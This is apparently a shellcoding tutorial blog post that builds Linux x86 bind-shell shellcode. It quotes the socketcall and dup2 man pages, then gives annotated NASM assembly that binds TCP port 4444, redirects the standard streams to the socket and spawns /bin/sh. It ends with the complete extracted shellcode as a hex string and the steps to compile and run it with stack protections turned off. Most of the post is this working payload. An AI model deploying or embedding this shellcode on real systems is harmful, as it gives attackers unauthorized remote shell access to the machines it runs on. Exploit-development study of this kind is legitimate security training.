SOCKETCALL(2) Linux Programmer's Manual SOCKETCALL(2) NAME socketcall - socket system calls SYNOPSIS int socketcall(int call, unsigned long *args); DESCRIPTION socketcall() is a common kernel entry point for the socket system calls. call determines which socket function to invoke. args points to a block containing the actual arguments, which are passed through to the appropriate call.The call numbers which are taken in as input are stored in the /usr/include/linux/net.h file.
#ifndef _LINUX_NET_H #define _LINUX_NET_H #include <linux/socket.h> #include <asm/socket.h> #define NPROTO AF_MAX #define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */ #define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ #define SYS_GETPEERNAME 7 /* sys_getpeername(2) */ #define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ #define SYS_SEND 9 /* sys_send(2) */ #define SYS_RECV 10 /* sys_recv(2) */ #define SYS_SENDTO 11 /* sys_sendto(2) */ #define SYS_RECVFROM 12 /* sys_recvfrom(2) */For linux syscalls 102 is loaded into the EAX register, the type of socket call to be made is loaded into the EBX register while the ECX register is made to point to the socketcall args. The instructions below show the socket calls required to bind port 4444 and accept tcp connections. The sockaddr struct arg arrays are each created by pushing values in reverse order onto the stack.
global _start section .text _start: ; socket(int domain, int type, int protocol); ; s = socket(2, 1, 0) xor eax, eax ; zero out eax register mov al, 0x66 ; mov 0x66 (102 socketcall) into eax register xor ebx, ebx ; ebx carries the type of socketcall mov bl, 1 ; which we saw from out net.h file is 1 xor edx, edx ; Zero out edx . value of array are pushed in reverse order push edx ; push zero onto the stack protocol = 0 (arg array build) push BYTE 1 ; push sockstream=1 value onto the stack push BYTE 2 ; push AF_INET = 2 onto the stack mov ecx, esp ; ecx = ptr to argument array int 0x80 ; After syscall, eax has socket file descriptor. mov esi, eax ; move value of sock descriptor into esi
; bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen); ; bind(s, [2, 4444, 0], 16) xor eax, eax ; zero out eax register mov al, 0x66 ; mov 0x66 (102 socketcall) into eax register mov bl, 2 ; move 2 into ebx since SYS_BIND number from net.h is 2 push edx ; Build sockaddr struct: INADDR_ANY = 0 push WORD 0x5c11; port 4444 pushed onto the stack in reverse order push WORD bx ; push 2 onto the stack because AF_INET = 2 mov ecx, esp ; ecx = ptr to arguement array push BYTE 16 ; size of server struct push ecx push esi mov ecx, esp int 0x80 ; listen(int sockfd, int backlog); ; listen(s, 0) mov al, 0x66 ;mov 0x66 (102 socketcall) into eax register inc ebx inc ebx ; ebx is now 4 SYS_LISTEN = 4 push ebx ; push esi ; mov ecx, esp ; ecx = ptr to argument array int 0x80 ; accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); ; c = accept(s, 0, 0) mov al, 0x66 ; mov 0x66 (102 socketcall) into eax register inc ebx ; ebx is now 5 since SYS_ACCEPT = 5 push edx ; argv: { socklen = 0, sockaddr ptr = NULL,socket fd } push edx push esi mov ecx, esp ; ecx = ptr to argument array int 0x80 ;The code above binds to port 4444 and waits for an incoming tcp connection. However as soon as the connection is accepted, its put into EAX which means we cant use it to do anything useful. We therefore have to combine it with code that spawns a shell. To do this, we'll swap the standard input, standard output and standard error of the spawned shell with that of the connected socket file descriptor.
The syscall for duplicating file descriptors is dup2 and has a syscall number of 63.
P(2) Linux Programmer's Manual DUP(2) NAME dup, dup2, dup3 - duplicate a file descriptor
SYNOPSIS #include <unistd.h> int dup(int oldfd); int dup2(int oldfd, int newfd); #define _GNU_SOURCE /* See feature_test_macros(7) */ #include <unistd.h> int dup3(int oldfd, int newfd, int flags); DESCRIPTION These system calls create a copy of the file descriptor oldfd.From the above descriptions, we can came up with the following code to do the transition.
; int dup2(int oldfd, int newfd); ; dup2(connected socket, {all three standard I/O file descriptors}) mov ebx, eax ; since the sockfd left off with EAX register we'll move it onto ebx xor eax, eax ; zero out the eax register and prepare to load it with dup2 syscall mov al, 0x3F ; dup2 syscall number is 63 xor ecx, ecx ; load ecx with zero which is the value = standard input int 0x80 ; mov al,0x3F ; dup2 syscall is 63 add ecx, 1 ; add 1 to ecx = standard output int 0x80 ; mov al, 0x3F ; dup2 syscall is 63 add ecx,1 ; add 1 to ecx=2=standard error int 0x80 ;The remainder of the code basically spawns a /bin/sh shell
; execve(const char *filename, char *const argv [], char *const envp[]) ; PUSH the first null dword xor eax, eax push eax ; PUSH //bin/sh loaded in reverse order (8 bytes) push 0x68732f2f ;//sh push 0x6e69622f ;/bin mov ebx, esp ; because ebx points to the //bin/ls push eax ; push 32bit null terminator to the stack mov edx, esp ; empty array for envp push ebx ; address of where //bin/ls is mov ecx, esp ; this is the argv array with string ptr mov al, 11 ;syscall for execve int 0x80Below is the entire code with out explanation with the comments or if you want to can get it from my github account.
We can assemble and link the above nasm code using this simple compile.sh script. When using the script, drop the .nasm at the end of the filename for example if you've named the shell_bind_tcp.nasm, when compiling with compile.sh, just do "./compile.sh shell_bind_tcp"
Next we use objdump to check for nulls since we know nulls in most cases kill shellcode. We run "./objdump -d shell_bind_tcp -M intel" You can use whatever syntax suits you mine is intel. The default syntax is AT&T. After establishing the absence of nulls we then extract the shellcode using this code from commandlinefu. This gives us the following shellcode.
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x83\xc1\x01\xcd\x80\xb0\x3f\x83\xc1\x01\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" We then go ahead and paste the shellcode into the c program below to test our shellcode. Compile the shellcode.c with the syntax "gcc -fno-stack-protector -z execstack shellcode.c -o shellcode" then run shellcode "./shellcode" and a bind shell on port 4444 should be opened. Run "netstat -ntlp for confirmation."
No comments:
Post a Comment